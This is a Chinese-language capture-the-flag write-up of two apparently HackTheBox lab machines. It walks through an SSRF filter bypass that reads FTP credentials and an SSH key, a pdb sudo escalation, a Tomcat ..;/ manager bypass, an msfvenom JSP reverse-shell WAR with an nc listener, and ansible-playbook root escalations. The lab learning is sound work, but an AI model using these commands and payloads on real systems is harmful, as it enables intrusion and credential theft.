目标是国外靶场
打过才知道 学的知识太少了师傅们看看就行 大家都会 要是描述得不对的地方 求指点
本地环境:kali
首先是通过ssrf拿下的靶机
第一台
因为是连了vpn的所以可以直接扫目标ip:10.10.11.111拿到目标 只有ip 那就先扫端口nmap -v -sSV -Pn 10.10.11.111 -T4 -sC
没啥信息 只有80端口 那就打开web看看直接访问10.10.11.111
直接访问不了 添加host头
echo “10.10.11.111 forge.xxx” >> /etc/hosts
然后在次访问
能访问了 发现有个上传的地方
上传试试
发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破先扫扫目录 和子域名目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt
子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt
目录没扫出什么 扫到一个子域名 先进入看看还是不能直接访问 先加入到hostecho “10.10.11.111 admin.forge.xxx” >> /etc/hosts
提示只能本地访问
尝试加上X-Forwarded-For:127.0.0.1绕过失败。但是前面那个上传的地方 还有一个上传路径的地方
但是直接上传会提示是黑名单地址
既然是黑名单 我们尝试绕过
大小写绕过了:http://aDmin.forGe.xxx/然后访问页面发现报错
然后通过抓返回包发现一个路径
然后继续通过ssrf访问这个路径 继续进行抓包http://aDmin.forGe.xxx/announcements
然后访问路径抓取返回包 获得了ftp的密码
user:heightofsecurity123!以及获取/upload目录API用法,u=urlhttp://aDmin.forGe.xxx/upload?u=url
然后结合起来读取ftpftp://user:heightofsecurity123!@FORGE.xxx
http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx
然后继续bp抓返回包
可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa
用同样的方法读取
然后保存id_rsa
然后ssh连接ssh -i id_rsa user@10.10.11.111
成功连接上来
提权
sudo -l 发现一个不需要密码执行的py文件
然后看下这个文件
发现是建立socket链接 监听40433端口 那就先执行这个py文件看看先执行py文件看看 然后在用nc连接
然后在随便输入的时候 发现会调用pdb调试pdb模式下是可以执行python代码的。于是直接给bash加上suid提权
pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。
到此 这一台也就提权完毕
第二台 利用ansible-playbook提权
第二台
目标ip:10.10.10.250拿到目标还是先扫描端口 进行信息收集
命令:nmap -v -sSV -Pn 10.10.10.250 -T4 -sC发现开了22 443 8080直接先打开8080端口看看
发现是一个登陆框 cms是 gitbucket试了下弱口令 发现不存在 那就注册一个
注册之后然后登录
这应该是一个代码仓库
因为前面还有443端口开发 打开443端口看看
之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录添加到host 因为扫描出有一个seal.xxx
echo 10.10.10.250 seal.xxx >> /etc/hosts是一个商城 那8080 的的确是443的代码库
然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码
http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7username = tomcatpassword = 42MrHBf*z8{Z%尝试访问tomcat默认登录目录/manager/statushttps://seal.xxx/manager/status
输入找到的账户密码 成功登录
因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/管理界面/manager/html无法访问显示权限不够
这里就可以利用tomcat 和反代的漏洞 用..;/绕过
https://seal.xxx/manager/status/..;/html然后这里有一个上传的地方
然后打包一个war包的shell上传msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war
在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。
上传之后 开启监听 然后访问 https://seal.xxx/shell/nc -lvvp 6666
发现还有个luis 这个开始在8080端口里面也发现了
然后在lusi目录下发现user.txt
命令:find / -name user.txt但是查看user.txt的时候发现没有权限
需要提权了
提权
在查看进程的时候发现了一个有趣的进程
命令:ps aux | grep root然后我们看看run.yml文件
发现tomcat只有读的权限cat /opt/backups/playbook/run.yml
第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,
发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压
然后将压缩文件复制到tmp目录下
然后解压
命令:tar -xvf t.tar.gz切换到uploads目录然后查看id_rsa
保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600
然后成功查看user.txtcat user.txt
提权root
第一种提权
sudo -l
发现luis不用密码就可以以root 执行ansible-playebook直接在提权网址发现一个提权方式
命令:TF=(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >
这样提权太快了提权网址:https://gtfobins.github.io/#
第二种提权:
创建一个root.yml文件
然后:sudo /usr/bin/ansible-playbook root.yml
第三种则是直接复制root.txt 也是创建yml文件
代码语言:javascript复制name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777
使用sudo /usr/bin/ansible-playbook执行root.yml文件然后在dev/shm下找到root.txt
总结
通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点